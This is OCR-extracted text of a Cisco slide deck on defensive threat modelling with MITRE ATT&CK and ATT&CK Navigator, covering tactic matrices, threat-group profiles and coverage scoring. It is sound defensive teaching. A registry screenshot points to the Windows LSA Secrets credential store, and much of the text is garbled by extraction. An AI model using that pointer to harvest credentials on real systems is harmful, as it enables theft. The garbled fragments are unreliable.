>~ 1 BCD00000O0D
>}, HARDWARE
5. )l SAM
4 )| SECURITY

PolAcDmN
w |l PolAcDmS
PolAdtEv
PolAdtLg
w1 PolDnDDN
PolDDMG
PolDnTiN
PolEKList
« || PolOIdSyskey
PolPDmN
PolPDmS
<.} PolRevision

4 Secrets

(invalid DWORD (32-bit) value)

> 1 LMIRSCUN
>} LMIRSCUP

RXACT
> )l SAM

> )| SOFTWARE
0

»- | DPAPLSYSTEM
b L _RasConnectionCredenti

b RasDialParams!S-1-5-21-39

Computer\HKEY_LOCAL_MACHINE\SECURITV\Policy\Se

M1027
M1026
M1017

Prevents

11003.004

t\nmmﬂlishas

S0002 TA0006

:—IK_EY_LCCI-&L_LUE-XCE:}?E\.. SECURITY“\Policy'Secrets.



Attack Method 1

How to Build Your 15t Threat Picture with ATT&CK
Gap Analysis



Reconnaissance
10 techniques

Resource
Development
6 techniques

Privilege
Escalation
12 technigues

Persistence
18 technigues

Execution
10 techniques

Initial Access
2 techniques

Defense Evasion
37 techniques

Credential
Access
15 technigues

selection controls

6.2 = x B *HBOF ][ 0 X

Discovery
25 techniques

Active Scanning .,

Gather Victim Host
Information (074)

Gather Victim Identity

Information .,

Gather Victim Network
Information .,

Gather Victim Org
Information (0/4)

Phishing for
Information
(0/3)

Search Closed
Sources

Search Open Technical
Databases ;.

Search Open
Websites/Domains .,

Search Victim-Owned
Websites

]
CIsco

Acquire
Infrastructure (8

Compromise
Accounts ;)

Compromise
Infrastructure .,
Develop
Capabilities o)

Establish
Accounts -,

Obtain
Capabilities /e

SECURE

Drive-by Command and Account Abuse Elevation
Compromise Scripting Manipulation ., ,, Contral
Interpreter g Mechanism
BITS Jobs '

Access Token

Boot or Logon Manipulation s

Autostart
External Remote Inter-Process Execution (on2) Boot or Logon
Services Communication w Autostart
Boot or Lagon Execution .,
Hardware Native API Initialization :
Additions Scripts rs) Boot or Logon
Scheduled Initialization
Phishing (2/3) Task/Job (0/6) Browsgr Scripts 5
Extensions
Shared Modules Create or Modify
Compromise System
Software Client Software Process
Deployment Tools Binary :
Supply Chain Domain Policy
Compromise , ., System Services ,, | Create Modification .,
Account g ., '
User Execution ) Event Triggered
Create or Modify Execution (15,
Windows System
Cloud Accounts ~ Management Process (0/3)

] Instrumentation

Il Local Accounts (T1078.003)

Event Triggered
Execution ans)
External Remote
Services

Hijack Execution
Flow (o1

Process
Hijack Execution Injection ),

Flow ... I
onn Scheduled
Implant Container  Task/Job .

Image

Office Application
Startup ;g
Pre-0S Boot ;.
Scheduled
Task{Job (0/8)
Server Software
Component 0/3)

Traffic
Signaling

© 2021 Cisco and/or its affiliates. All rights reserved.

Abuse Elevation

Control Mechanism .

Access Token

Manipulation (1/5)

BITS Jobs

Direct Volume Access

Domain Policy
Modification

Execution
Guardrails .

File and Directory
Permissions
Modification )

Hide Artifacts , )

Hijack Execution
Flow .,

Impair Defenses -,

Indicator Removal on

Host 5.5,

Indirect Command
Execution

Masquerading .,

Meodify Authentication
Process ;.

Modify Cloud Compute

Infrastructure .,

Modify Registry

Modify System
Image ;.

Network Boundary
Bridging .,

Brute Force 5,

Credentials from

Password
Stores ;)
Exploitation for
Credential
Access

Forced
Authentication

Forge Web
Credentials ,
i

Input
Capture )

Man-in-the-
Middle

Modify
Authentication
Process .,

Steal or Forge
Kerberos
Tickets

Steal Web
Session Cookie

Two-Factor
Authentication
Interception

Unsecured
Credentials ©/8)

Account Discovery .,

Application Window
Discovery

Browser Bookmark
Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Domain Trust Discovery

MNetwork Service
Scanning

Network Share
Discovery

Password Policy
Discovery

Permission Groups
Discovery (0/3)

Query Registry

Remote System
Discovery

Software Discovery o) n

System Information
Discovery

System Network
Configuration
Discovery

layer controls

Lateral
Movement
9 techniques

Internal
Spearphishing

Lateral Tool
Transfer

Remote Service
Session
Hijacking ©o/2)

Remote

Services .,

Software
Deployment
Tools

Taint Shared
Content

Use Alternate
Authentication
Material (2/4)

- ATT&CK Navigator a versatile tool for our needs

Collection
17 techniques

Audio Capture

Clipboard Data

Data from Cloud
Storage Object

Data from
Caonfiguration
Repository ©/2)

Data from
Information
Repositories 1)

Data from
Network Shared
Drive

Data Staged ;5

Email
Collection a3
Input
Capture 14)
Man in the
Browser

Man-in-the-
Middle .,

Video Capture

technique controls

m oz 2 0 8,

Command and
Control
16 techniques

Exfiltration
9 techniques

Impact
13 techniques

Account Access
Removal

Application Layer

Protocol (214)

Automated
Exfiltration
!

Data Transfer Data Destruction

Size Limits
Data Encrypted fc
Exfiltration Impact
Qver
Data Alternative Data
Encoding Protocol ., Manipulation , .,
Data Exfiltration Defacement .,
Obfuscation (/s Over C2 '
Channel Disk Wipe (0/2)
Dynamic =
Resolution (0/3) Exfiltration Endpoint Denial o
b Over Other Service
Encrypted Network -
Channel Medium ., Firmware
12) (o/1) Corruption
Fallback Exfiltration
Channels Over Physical Inhibit System
Medium ., Recovery
Exfiltration
Over Web
Multi-Stage Service  ,
Channels - Resource
Scheduled Hijacking
Non-Application Transfer
Layer Protocol Service Stop
Transfer Data
Non-Standard to Cloud System
Port Account Shutdown/Reboot
Protocol
Tunneling
PIOXY (30 u
Remote Access
Software
Traffic
Signaling (o)
Web Service (©/3)
24


https://mitre-attack.github.io/attack-navigator/

Matrices Tactics ~ Techniques ~ Mitigations ~ Groups Software Resources ~ Blog & Contribute

Use Risk matrix to drive your CTI efforts! MITRE | ATT&CK [ a ]

Home > Matrices > Enterprise

MATRICES

- Starting from scratch? Enteprise
- https://attack.mitre.org/

- Quick search on website for your vertical

financiall
- Find Groups and Software targeting your
. Groups
commun Ity ... 8 admin@338 admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware an¢
targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as Poisonlvy, as well ag
_ Ra n k & p r| o) r|t|Ze - | | ke | | h OOd & public backdoors. G0130 Ajax Security Team Operation Woolen-Goldfish, AjaxTM, Roc...
Co N Se q u e N Ce Silence, WHISPER SPIDER, Group G0091

Silence Silence is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June
main targets reside in Russia, Ukraine, Belarus, Azerbaijan, P...

- Already see threat actors or pen-test gaps?

Deep Panda, Shell Crew, WebMasters, KungFu Kittens, PinkPanther, Black Vine, Group G0009
Deep Panda Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, a

- Se arc h d | re Ct I y on g rou p telecommunications. [1] The intrusion into healthcare company Anthem has been attributed to Deep Panda. [2] This group is also known ag
WebMasters, KungFu Kittens, and Pink...

- Software or TTPs observed? May reveal Carbanak, Anunak, Group GO0OB
Carbanak Carbanak is a cybercriminal group that has used Carbanak malware to target financial institutions since at least 2013. Carbanak
n EW fO e S groups tracked separately as Cobalt Group and FIN7 that have also used Carbanak malware.[1][2][3][4][5] ID: GO008 ® Associated Gr...

- Parse in order of assessed risk

]
clsco S EC U RE © 2021 Cisco and/or its affiliates. All rights reserved. 25


https://attack.mitre.org/

Getting started? Divide and conquer

Start with a major threat group/highest risk and follow process 1-by-1

MITRE ATT&CK Matrices Tactics ~ Techniques ~ Data Sources Mitigations ~ Groups Software Resources ~ Blog & Contribute Search Q_

GROUPS Home > Groups > Deep Panda

Deep Panda

Dragonfly Deep Panda

Dragonfly 2.0 Deep Panda is a suspected Chinese threat group known to target many industries, including government,

DragonOK defense, financial, and telecommunications. ['! The intrusion into healthcare company Anthem has been ID: Gooos

Dust Storm attributed to Deep Panda. 2 This group is also known as Shell Crew, WebMasters, KungFu Kittens, and @ Associated Groups: Shell Crew,

i WebMasters, KungFu Kittens, PinkPanther,

PinkPanther. ¥ Deep Panda also appears to be known as Black Vine based on the attribution of both group Black Vi g

Elderwood ack Vine
names to the Anthem intrusion. ¥ Seme analysts track Deep Panda and APT19 as the same group, but itis . ‘ .

Equation - Contributors: Andrew Smith, @jakx_
unclear from open source information if the groups are the same. |°/

Evilnum Version: 1.2

vilnu

Created: 31 May 2017
Last Modified: 09 February 2021

Ferocious Kitten

FIN10
FIN4 Version Permalink
FINS . N
Associated Group Descriptions

FING

Name Description
FIN7
FINS Shell Crew o
Fox Kitten WebMasters o
Frankenstein

KungFu Kittens 131
GALLIUM
Gallmaker PinkPanther ll
Gamaredon Group Black Vine 14l

GCMAN
GOLD SOUTHFIELD

ATT&CK® Navigator Layers =

Techniques Used

Garnon Groun

]
clsco S EC U RE © 2021 Cisco and/or its affiliates. All rights reserved.

Start with just 1 group and work
through process

- Add APTs attacking customers or
suppliers too!

- lterate with greater fidelity as effort
matures

Can launch into group-specific
Navigator view

ATT&CK™ Navigator Layers ~

Enterprise Layer

download

view =

26



Build your own Coverage Map

afafe
CIsco

Deep Panda (G0009) X D

Reconnaissance
10 techniques

Active Scanning

Gather Victim Host
Information

Gather Victim Identity i

Information

Gather Victim Network M

Information

Gather Victim Org
Information

Phishing for
Information

Search Closed
Sources

Search Open
Technical
Databases

Search Open
Websites/Domains

Search Victim-Owned
Websites

Resource
Development

7 technigues

Acquire
Infrastructure

Compromise
Accounts

Compromise
Infrastructure

Develop
Capabilities

Establish
Accounts

QObtain
Capabilities

Stage
Capabilities

Drive
Compral

Exploit Publi
Facing
Application

External Remote
Services

Hardware
Additions

Phishing

Replication
Through
Removable
Media

Supply Chain
Compromise

Trusted
Relationship

Valid
Accounts

Container
Administration
Command
Deploy Container

Exploitation for
Client Execution

Inter-Process
Communication

Native API

Scheduled
Task/Job

new tab X

The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices.
It can be used to visualize defensive coverage, red/blue team planning, the frequency of
detected techniques, and more.

Create New Layer

Open Existing Layer

Create Layer from other
layers

Create Customized
Navigator

Client Software
Binary

Create
Account

Create or Modify
System ]
Process

help changelog theme ~

Create a new empty layer

Load a layer from your computer or a URL

Choose layers to inherit properties from

Create a hyperlink to a customized ATT&CK
Navigator

AppCert DLLs

Applnit DLLs




Searching within Navigator

Reconnaissance
10 techniques

Resource
Development
7 techniques

Initial Access
9 techniques

Execution
13 techniques

Persistence
19 techniques

Privilege
Escalation
13 techniques

Defense Evasion
42 techniques

selegiion contils layer controls
& o |x &

Credential
Access

17 techniques

Discovery
30 techniques

Movem
9 techniques

1

Active Scanning

Gather Victim Host
Information

Gather Victim Identity
Information

Gather Victim Network
Information

Gather Victim Org
Information

Phishing for
Information

Search Closed
Sources

Search Open Technical
Databases

Search Open
Websites/Domains

Search Victim-Owned
Websites

]
CIsco

Acquire
Infrastructure

Compromise
Accounts

Compromise
Infrastructure

Develop
Capabilities

Establish
Accounts

Obtain
Capabilities

Stage
Capabilities

Drive-by
Compromise

Exploit Public-
Facing Application

External Remote
Services

Hardware
Additions

Phishing
Replication
Through
Removable Media

Supply Chain
Compromise

Trusted
Relationship

Valid
Accounts

Command and
Scripting
Interpreter
Container
Administration
Command
Deploy Container

Exploitation for Client
Execution

Inter-Process
Communication

Native API

Scheduled
REEVALD]

Serverless Execution
Shared Modules

Software Deployment
Tools

System Services
User Execution
Windows

Management
Instrumentation

Account
Manipulation

BITS Jobs

Boot or Logon
Autostart
Execution

Boot or Logon
Initialization
Scripts

Browser
Extensions

Compromise
Client Software
Binary

Create
Account

Create or Modify
System
Process

Event Triggered
Execution

External Remote
Services

Hijack Execution
Flow

Implant Internal
Image

Modify
Authentication
Process

Office Application
Startup

Pre-0S Boot

Abuse Elevation
Control
Mechanism

Access Token
Manipulation

Boot or Logon
Autostart
Execution

Boot or Logon
Initialization
Scripts

Create or Modify
System
Process

Domain Policy
Modification

Escape to Host

| Event Triggered

Execution

Exploitation for
Privilege
Escalation

Hijack Execution
Flow

Process
Injection

Scheduled
Task/Job

Valid
Accounts

Abuse Elevation Control
Mechanism

Access Token
Manipulation

BITS Jobs
Build Image on Host
Debugger Evasion

Deobfuscate/Decode
Files or Information

Deploy Container
Direct Volume Access

Domain Policy
Modification

Execution
Guardrails

Exploitation for Defense
Evasion

File and Directory
Permissions
Modification
Hide Artifacts

Hijack Execution
Flow

Impair Defenses
Indicator Removal

Indirect Command
Execution

Masquerading

Modify Authentication
Process

Adversary-in-the- i
Middle

Brute Force

Credentials from
Password
Stores

Exploitation for
Credential
Access

Forced
Authentication

Forge Web
Credentials

Input
Capture

Modify
Authentication
Process

Multi-Factor
Authentication
Interception

Multi-Factor
Authentication
Request
Generation

Network Sniffing

0S Credential
Dumping

Steal Application
Access Token

Steal or Forge
Authentication
Certificates

Steal or Forge

Account Discovery

Application Window
Discovery

Browser Bookmark

| Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service Discovery

Cloud Storage Object
Discovery

Container and Resource
Discovery

Debugger Evasion
Domain Trust Discovery

File and Directory
Discovery

Group Policy Discovery

Network Service
Discovery

Network Share
Discovery

Network Sniffing

Password Policy
Discovery

Peripheral Device
Discovery

Permission Groups
Discovery

Il Exploitation of
Remote
Services

Internal
Spearphishing

Lateral Tool
Transfer

Remote Service
Session
Hijacking

Remote
Services

Replication
Through
Removable
Media

Software
Deployment
Tools

Taint Shared
Content

Use Alternate
Authentication
Material

Adversar
Middle

Archive (
Data

Audio Cz

Automat
Collectio

| Browser

Hijacking
Clipboar

Data fror
Storage

Data fror
Configur
Reposito
Data fror
Informat
Reposito

Data fror
System

Data fror
Network
Drive

Data fror
Removal

Data Sta

Email
Collectio

Input Ca|
Screen C

Video Cz

Search

O\ education

Search Settings

[[] name [] ATTACKID [] description [] data sources

Techniques (0)

Threat Groups (9)

select all

Aogin Dragon
APT19

DarkHydrus

Software (4)

select all

Bandook
Clop

Proxysve

Mitigations (0)
Campaigns (1)

Data Sources (0)

deselect all

select deselect

select deselect

select deselect

deselect all

select deselect

deselect

select

select deselect




How do we keep score?
Agree to scoring rubric before start!

Choose your own range and
color scheme

Reconnaissance
10 techniques

Coverage
selection controls

8.2 x| B *rEA=[i1® 0 ¢ X

Resource
Development

7 techniques

X
layer controls

v

Tactic Row Background

. Nl #dddddd

lege
lation
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With each technique, dive into details
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ATTECK v12 is now live! Check out the updates here
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Drive-by Compromise

Resource Drive-by Compromise

Adversaries may gain access to a system through a user visiting a website over the normal course of brawsing. With this
1D: 71189
technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for D:

« A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaSeript, # Permissions Required: User

iFrames, and cross-site scrij Contributors: Jeff Sakowicz, Microsoft Identit;
Developer Platform Services (IDPM Servi

Agrawal, Microsoft Threat Intelligent Center (MSTIC)
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B Version: 1.4

Created: 18 April 2018
Last Modified: 08 March 2022

web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and ather user

controllable web content)

- Right-click to bring

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry. or
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Advanced Persistent Defense:
* Understanding the Pyramid of Pain and where the opportunities
are for defenders — higher in the pyramid
* Lower levels address the symptoms
* Higher levels address the problem
* MITRE ATT&CK is a framework that focuses on the adversaries
behaviours and how they achieve an outcome
 MITRE ATT&CK Navigator provides teams with insight in regards
to TTP coverage — provide gap analysis
Open source and commercial tools are enhancing their
capabilities when it comes to ATT&CK
 Defenders MUST be persistent and advanced when building out

‘f all aspects of defence — detection, prevention, and response.

Key Take Aways!
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Advanced Persistent Defenders (APD)!



	Slide 1
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13
	Slide 14: Get to know your fear with
	Slide 15: What is a Threat? 
	Slide 16: The Analogy! 
	Slide 17: Value of the Periodic Table
	Slide 18: Value of
	Slide 19:        changes our focus Concentrate on the root of the problem to achieve security enlightenment 
	Slide 20: What is inside              ?
	Slide 21: Understand your               Model Relationships MITRE’s approach simplifies mapping goals to behaviors (a.k.a. TTPs)
	Slide 22: Understand your               Model Relationships MITRE’s approach simplifies mapping goals to behaviors (a.k.a. TTPs)
	Slide 23
	Slide 24: ATT&CK Navigator a versatile tool for our needs
	Slide 25: Draw your threat picture Use Risk matrix to drive your CTI efforts!
	Slide 26: Getting started? Divide and conquer Start with a major threat group/highest risk and follow process 1-by-1
	Slide 27: Build your own Coverage Map
	Slide 28: Searching within Navigator 
	Slide 29: How do we keep score? Agree to scoring rubric before start!
	Slide 30: With each technique, dive into details
	Slide 31
	Slide 32
	Slide 33
	Slide 34

